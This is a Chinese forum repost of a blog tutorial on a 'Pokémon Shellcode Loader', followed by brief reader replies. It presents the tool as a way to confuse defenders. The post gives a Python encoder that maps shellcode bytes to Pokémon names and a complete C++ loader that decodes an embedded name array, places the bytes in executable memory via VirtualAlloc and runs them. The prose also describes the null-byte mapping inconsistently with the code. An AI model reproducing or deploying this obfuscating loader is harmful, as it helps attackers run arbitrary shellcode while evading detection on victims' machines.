Pokémon Shellcode 加载器

梦幻的彼岸

Pokémon Shellcode 加载器​
原文地址：https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader/

厌倦了整天看着十六进制和弹出'\x41'吗？宁愿去看Lugia/Charmander？我为你提供了解决方案。@Checkymander发来了一条推特，关于从Pokémon的名字中创建一个Shellcode 加载器。很有趣的项目，可以混淆蓝队，但没有POC! (至少在我最后一次检查时)

注#1 更新的代码将在我的GitHub上：https://github.com/Techryptic/Pokemon-Shellcode-Loader

注#2 GitBooks: https://techryptic.gitbook.io/pokemon-shellcode

注#3 GitPages: https://techryptic.github.io/2022/07/28/Pokemon-Shellcode-Loader

让我们加载一些指令

有多种方法可以做到这一点。如果我们看一下shellcode，它是一系列从0x00-0xFF的十六进制，或以0-256的十进制形式。我们可以选择的Pokemon（口袋妖怪）刚好超过256个。

从上面的Pokemon图来看，我们可以把编号为001的BULBASAUR翻译成0x01（去掉第一个0）。同样地，CHARMANDER将用0x04表示，以此类推。lucky空字节0x00可以对准Pokemon#257，BLAZIKEN!

将shellcode转换为Pokemon-Shellcode很简单。将Pokemon-Shellcode转换为Assembly怎么样？我们想在.ASM内有一个数组吗？C代码？从外部把它下载下来？

根据这种思路往下走!

排列或不排列

我们需要数据。首先，我发现两个区域同时包含Pokemon的编号和名称：

https://gist.github.com/armgilles/194bcff35001e7eb53a2a8b441e8b2c6

还有一个只有Pokemon的名字。这可能更有用，因为我们可以在不携带长字符串的情况下获得特定Pokemon的数组索引位置。

https://github.com/sindresorhus/pokemon/blob/main/data/en.json

基准是什么？我正在使用一个普通的POP CALC shellcode，并将其放入C语言代码中。

1. import json
   
2. 
   
3. shellcode = (b"\x41\x42\x20\x43")
   
4. 
   
5. #Do not edit below
   
6. PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
   
7. Poke_Shellcode = []
   
8. for x in shellcode:
   
9.         Poke_Shellcode.append(PokemonList[x])
   
10. print(json.dumps(Poke_Shellcode))

复制代码

不合格。它没有做任何恶意的事情，但仍然……不合格。

Shellcode -> Pokemon_Shellcode

一个简单的脚本将一个shellcode字节对象转换为Pokémon Shellcode。

1. import json
   
2. 
   
3. shellcode = (b"\x41\x42\x20\x43")
   
4. 
   
5. #Do not edit below
   
6. PokemonList = ["Missingno","Bulbasaur","Ivysaur","Venusaur","Charmander","Charmeleon","Charizard","Squirtle","Wartortle","Blastoise","Caterpie","Metapod","Butterfree","Weedle","Kakuna","Beedrill","Pidgey","Pidgeotto","Pidgeot","Rattata","Raticate","Spearow","Fearow","Ekans","Arbok","Pikachu","Raichu","Sandshrew","Sandslash","NidoranF","Nidorina","Nidoqueen","NidoranM","Nidorino","Nidoking","Clefairy","Clefable","Vulpix","Ninetales","Jigglypuff","Wigglytuff","Zubat","Golbat","Oddish","Gloom","Vileplume","Paras","Parasect","Venonat","Venomoth","Diglett","Dugtrio","Meowth","Persian","Psyduck","Golduck","Mankey","Primeape","Growlithe","Arcanine","Poliwag","Poliwhirl","Poliwrath","Abra","Kadabra","Alakazam","Machop","Machoke","Machamp","Bellsprout","Weepinbell","Victreebel","Tentacool","Tentacruel","Geodude","Graveler","Golem","Ponyta","Rapidash","Slowpoke","Slowbro","Magnemite","Magneton","Farfetchd","Doduo","Dodrio","Seel","Dewgong","Grimer","Muk","Shellder","Cloyster","Gastly","Haunter","Gengar","Onix","Drowzee","Hypno","Krabby","Kingler","Voltorb","Electrode","Exeggcute","Exeggutor","Cubone","Marowak","Hitmonlee","Hitmonchan","Lickitung","Koffing","Weezing","Rhyhorn","Rhydon","Chansey","Tangela","Kangaskhan","Horsea","Seadra","Goldeen","Seaking","Staryu","Starmie","Mr. Mime","Scyther","Jynx","Electabuzz","Magmar","Pinsir","Tauros","Magikarp","Gyarados","Lapras","Ditto","Eevee","Vaporeon","Jolteon","Flareon","Porygon","Omanyte","Omastar","Kabuto","Kabutops","Aerodactyl","Snorlax","Articuno","Zapdos","Moltres","Dratini","Dragonair","Dragonite","Mewtwo","Mew","Chikorita","Bayleef","Meganium","Cyndaquil","Quilava","Typhlosion","Totodile","Croconaw","Feraligatr","Sentret","Furret","Hoothoot","Noctowl","Ledyba","Ledian","Spinarak","Ariados","Crobat","Chinchou","Lanturn","Pichu","Cleffa","Igglybuff","Togepi","Togetic","Natu","Xatu","Mareep","Flaaffy","Ampharos","Bellossom","Marill","Azumarill","Sudowoodo","Politoed","Hoppip","Skiploom","Jumpluff","Aipom","Sunkern","Sunflora","Yanma","Wooper","Quagsire","Espeon","Umbreon","Murkrow","Slowking","Misdreavus","Unown","Wobbuffet","Girafarig","Pineco","Forretress","Dunsparce","Gligar","Steelix","Snubbull","Granbull","Qwilfish","Scizor","Shuckle","Heracross","Sneasel","Teddiursa","Ursaring","Slugma","Magcargo","Swinub","Piloswine","Corsola","Remoraid","Octillery","Delibird","Mantine","Skarmory","Houndour","Houndoom","Kingdra","Phanpy","Donphan","Porygon2","Stantler","Smeargle","Tyrogue","Hitmontop","Smoochum","Elekid","Magby","Miltank","Blissey","Raikou","Entei","Suicune","Larvitar","Pupitar","Tyranitar","Lugia","Ho-Oh","Celebi","Treecko","Grovyle","Sceptile","Torchic"]
   
7. Poke_Shellcode = []
   
8. for x in shellcode:
   
9.         Poke_Shellcode.append(PokemonList[x])
   
10. print(json.dumps(Poke_Shellcode))

复制代码

以上面的shellcode为例:

1. \x00\x31\xc0\x50\x68\x2f\x2F

复制代码

转换为:

有趣的是：我想让Pokemon的名字与它们的编号保持一致（BULBASAUR=#1，或0x01），因此需要用一些东西填充0x00/空字节。有什么比MISSINGNO更合适的呢？

另一个问题是，Pokemon Farfetch'd有一个撇号，如下图。简单的解决方法就是把它去掉，然后叫它。Farfetchd

最后，还有两种Pokemon ，一旦你去掉符号，它们的名字就会相同，这两种Pokemon 的修复方法是加一个F（代表女性），另一个加一个M（代表男性）。

C++

1. #include <iOStream>
   
2. #include <string>
   
3. #include <Bits.h>
   
4. using namespace std;
   
5. 
   
6. // Created by: Techryptic
   
7. // @Tech
   
8. 
   
9. string indexNumberToHexa(int number);
   
10. void reverse_String(string& str, int last_index, int starting_index);
    
11. void printAscii(unsigned char* index_to_hexa_array, int counter_s);
    
12. 
    
13. int main()
    
14. {
    
15.     string poke_shellcode[] = { "Slowbro", "Farfetchd", "Magnemite", "Magneton", "Seel", "Dewgong", "Dodrio", "Porygon", "Houndoom", "Lapras", "Tyrogue", "Arbok", "Venomoth", "Larvitar", "Seel", "Hitmonlee", "Kingler", "Exeggcute", "Cubone", "Staryu", "Electrode", "Cubone", "Dewgong", "Marowak", "Weezing", "Bellsprout", "Porygon", "Electrode", "Treecko", "Venomoth", "Larvitar", "Voltorb", "Omastar", "Gengar", "Venonat", "Omastar", "Cloyster", "Butterfree", "Omastar", "Cloyster", "Raticate", "Omastar", "Sandshrew", "Omastar", "Sandshrew", "Omastar", "Cloyster", "Pidgey", "Porygon", "Haunter", "Tyranitar", "Venomoth", "Sunflora", "Omastar", "Machoke", "Poliwag", "Bulbasaur", "Teddiursa", "Omastar", "Kadabra", "Staryu", "Bulbasaur", "Teddiursa", "Omastar", "Tentacool", "Clefable", "Bulbasaur", "Ursaring", "Porygon", "Ponyta", "Entei", "Omastar", "Staryu", "NidoranM", "Bulbasaur", "Remoraid", "Porygon", "Electabuzz", "Magby", "Omastar", "Slowbro", "Sandslash", "Bulbasaur", "Slugma", "Porygon", "Dodrio", "Tyrogue", "Omastar", "Grimer", "Raticate", "Venomoth", "Sunflora", "Omastar", "Dodrio", "Tyranitar", "Omastar", "Electabuzz", "Magby", "Omastar", "Seadra", "Treecko", "Venomoth", "Unown", "Treecko", "Omastar", "Poliwag", "Jolteon", "Bulbasaur", "Sneasel", "Exeggcute", "Lapras", "Yanma", "Wartortle", "Raikou", "Ledian", "Horsea", "Caterpie", "Kadabra", "Primeape", "Teddiursa", "Tangela", "Houndoom", "Lapras", "Espeon", "Ninetales", "Smeargle", "Alakazam", "Omastar", "Ponyta", "Entei", "Porygon", "Qwilfish", "Omastar", "Dodrio", "Tyrogue", "Exeggcute", "Omastar", "Charmander", "Alakazam", "Omastar", "Charmander", "Gyarados", "Bulbasaur", "Teddiursa", "Venomoth", "Granbull", "Magneton", "Cubone", "Paras", "Electrode", "Staryu", "Electrode", "Cubone", "Kingler", "Hypno", "Lickitung", "Kingler", "Cubone", "Koffing", "Dugtrio", "Diglett", "Gastly", "Cubone", "Starmie", "Kangaskhan", "Horsea", "Electrode", "Cubone", "Seaking", "Kangaskhan", "Gastly", "Farfetchd", "Cubone", "Marowak", "Weezing", "Voltorb", "Rhyhorn", "Cubone", "Machoke", "Growlithe", "Gastly", "Dewgong", "Porygon", "Kingdra", "Hitmonlee", "Caterpie", "Seel", "Torchic", "Steelix", "Lapras", "Espeon", "Weepinbell", "Haunter", "Onix", "Gengar", "Shellder", "Muk", "Cloyster", "Grimer", "Quagsire" };
    
16. 
    
17.     /// Do not edit below
    
18.     string pokemon[256] = { "Missingno", "Bulbasaur", "Ivysaur", "Venusaur", "Charmander", "Charmeleon", "Charizard", "Squirtle", "Wartortle", "Blastoise", "Caterpie", "Metapod", "Butterfree", "Weedle", "Kakuna", "Beedrill", "Pidgey", "Pidgeotto", "Pidgeot", "Rattata", "Raticate", "Spearow", "Fearow", "Ekans", "Arbok", "Pikachu", "Raichu", "Sandshrew", "Sandslash", "NidoranF", "Nidorina", "Nidoqueen", "NidoranM", "Nidorino", "Nidoking", "Clefairy", "Clefable", "Vulpix", "Ninetales", "Jigglypuff", "Wigglytuff", "Zubat", "Golbat", "Oddish", "Gloom", "Vileplume", "Paras", "Parasect", "Venonat", "Venomoth", "Diglett", "Dugtrio", "Meowth", "Persian", "Psyduck", "Golduck", "Mankey", "Primeape", "Growlithe", "Arcanine", "Poliwag", "Poliwhirl", "Poliwrath", "Abra", "Kadabra", "Alakazam", "Machop", "Machoke", "Machamp", "Bellsprout", "Weepinbell", "Victreebel", "Tentacool", "Tentacruel", "Geodude", "Graveler", "Golem", "Ponyta", "Rapidash", "Slowpoke", "Slowbro", "Magnemite", "Magneton", "Farfetchd", "Doduo", "Dodrio", "Seel", "Dewgong", "Grimer", "Muk", "Shellder", "Cloyster", "Gastly", "Haunter", "Gengar", "Onix", "Drowzee", "Hypno", "Krabby", "Kingler", "Voltorb", "Electrode", "Exeggcute", "Exeggutor", "Cubone", "Marowak", "Hitmonlee", "Hitmonchan", "Lickitung", "Koffing", "Weezing", "Rhyhorn", "Rhydon", "Chansey", "Tangela", "Kangaskhan", "Horsea", "Seadra", "Goldeen", "Seaking", "Staryu", "Starmie", "Mr. Mime", "Scyther", "Jynx", "Electabuzz", "Magmar", "Pinsir", "Tauros", "Magikarp", "Gyarados", "Lapras", "Ditto", "Eevee", "Vaporeon", "Jolteon", "Flareon", "Porygon", "Omanyte", "Omastar", "Kabuto", "Kabutops", "Aerodactyl", "Snorlax", "Articuno", "Zapdos", "Moltres", "Dratini", "Dragonair", "Dragonite", "Mewtwo", "Mew", "Chikorita", "Bayleef", "Meganium", "Cyndaquil", "Quilava", "Typhlosion", "Totodile", "Croconaw", "Feraligatr", "Sentret", "Furret", "Hoothoot", "Noctowl", "Ledyba", "Ledian", "Spinarak", "Ariados", "Crobat", "Chinchou", "Lanturn", "Pichu", "Cleffa", "Igglybuff", "Togepi", "Togetic", "Natu", "Xatu", "Mareep", "Flaaffy", "Ampharos", "Bellossom", "Marill", "Azumarill", "Sudowoodo", "Politoed", "Hoppip", "Skiploom", "Jumpluff", "Aipom", "Sunkern", "Sunflora", "Yanma", "Wooper", "Quagsire", "Espeon", "Umbreon", "Murkrow", "Slowking", "Misdreavus", "Unown", "Wobbuffet", "Girafarig", "Pineco", "Forretress", "Dunsparce", "Gligar", "Steelix", "Snubbull", "Granbull", "Qwilfish", "Scizor", "Shuckle", "Heracross", "Sneasel", "Teddiursa", "Ursaring", "Slugma", "Magcargo", "Swinub", "Piloswine", "Corsola", "Remoraid", "Octillery", "Delibird", "Mantine", "Skarmory", "Houndour", "Houndoom", "Kingdra", "Phanpy", "Donphan", "Porygon2", "Stantler", "Smeargle", "Tyrogue", "Hitmontop", "Smoochum", "Elekid", "Magby", "Miltank", "Blissey", "Raikou", "Entei", "Suicune", "Larvitar", "Pupitar", "Tyranitar", "Lugia", "Ho-Oh", "Celebi", "Treecko", "Grovyle", "Sceptile", "Torchic" };
    
19. 
    
20.     int size1 = sizeof(pokemon) / sizeof(pokemon[0]);
    
21.     int size2 = sizeof(poke_shellcode) / sizeof(poke_shellcode[0]);
    
22.     //creating a dynamic array for holding indexes having size=siez of poke_shellcode considering the
    
23.     //assumtion that all poke_shellcode elements exist in pokemon
    
24.     int* index = new int[size2];
    
25.     int index_counter = 0;
    
26.     for (int i = 0; i < size2; i++) {                           //reading poke_shellcode element one by one
    
27.         for (int j = 0; j < size1; j++) {                       //reading pokemon element one by one
    
28.             if (poke_shellcode[i].compare(pokemon[j]) == 0) {   //both strings are equal
    
29.                 index[index_counter] = j;                       //saving index
    
30.                 index_counter++;
    
31.                 break;                                          //stoping inner loop
    
32.             }
    
33.         }
    
34.     }
    
35.     //for storing hex values of indexes
    
36.     unsigned char* index_to_hexa_array = new unsigned char[index_counter * 5];
    
37.     int counter_s = 0;
    
38.     for (int i = 0; i < index_counter; i++) {
    
39.         string value = "";
    
40.         value += "\\x";
    
41.         if (index[i] < 10) {
    
42.             value += "0";
    
43.         }
    
44.         value += indexNumberToHexa(index[i]);  //converting each index to hexa and inserting in array
    
45.         for (int k = 0; k < (int)value.length(); k++) {
    
46.             index_to_hexa_array[counter_s] = value[k];
    
47.             counter_s++;
    
48.         }
    
49.     }
    
50.     std::string payload;
    
51.     index_to_hexa_array[counter_s] = '\0';
    
52.     printAscii(index_to_hexa_array, counter_s);
    
53. 
    
54.     delete[]index; //freeing memory
    
55.     delete[]index_to_hexa_array;
    
56.     index = nullptr;  //reseting the index pointer
    
57.     index_to_hexa_array = nullptr;
    
58.     return 0;
    
59. }
    
60. 
    
61. void reverse_String(string& str, int last_index, int starting_index) {
    
62.     if (last_index <= starting_index) { return; }
    
63.     swap(str[starting_index], str[last_index]);
    
64.     reverse_String(str, last_index - 1, starting_index + 1);
    
65. }
    
66. string indexNumberToHexa(int number) {
    
67.     string hexavalue = "";
    
68.     while (number != 0) {
    
69.         int remainder = number % 16;
    
70.         if (remainder < 10) {   //number 0-9
    
71.             hexavalue += remainder + 48;
    
72.         }
    
73.         else {//alphabet A-F
    
74.             hexavalue += remainder + 55; //converting number to alphabet
    
75.         }
    
76.         number = number / 16;
    
77.     }
    
78.     reverse_String(hexavalue, hexavalue.length() - 1, 0);
    
79.     return (hexavalue != "" ? hexavalue : "0");
    
80. }
    
81. void printAscii(unsigned char* index_to_hexa_array, int counter_s) {
    
82.     string sc;
    
83.     for (int i = 2; i < counter_s; i++) {
    
84.         if (index_to_hexa_array[i] != '\\' && index_to_hexa_array[i] != 'x') {//hex value cannot be more than 2 characters
    
85.             string vt; // hex ex: 01
    
86.             vt.push_back(index_to_hexa_array[i]);
    
87.             vt.push_back(index_to_hexa_array[i + 1]);
    
88.             //cout << (char)stoul(vt, nullptr, 16);
    
89.             unsigned char n = (char)stoul(vt, nullptr, 16);
    
90.             sc += n;
    
91.             i++;
    
92.         }
    
93.     }
    
94.     sc += '\0'; // adding nullbyte to string to mimic array
    
95.     //std::cout << "The size is " << sc.size() << " bytes.\n";
    
96.     DWORD oldprotect = 0;
    
97.     void* exec = VirtualAlloc(0, sc.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    
98.     memcpy(exec, sc.c_str(), sc.size());
    
99.     ((void(*)())exec)();
    
100. }

复制代码

总结

这，就是结论。同样的代码，但使用Pokemon产生的结果比我想象的要好得多。

最后，这仍然是一场红与蓝之间的对抗

jianren

很喜欢宝可梦 加油

乐活

看着不错啊，来学习，多谢

GodFeng

看着不错啊，来学习，多谢

midi

自己又改了改，效果和思路都是可以的

cqxyz

谢谢分享资料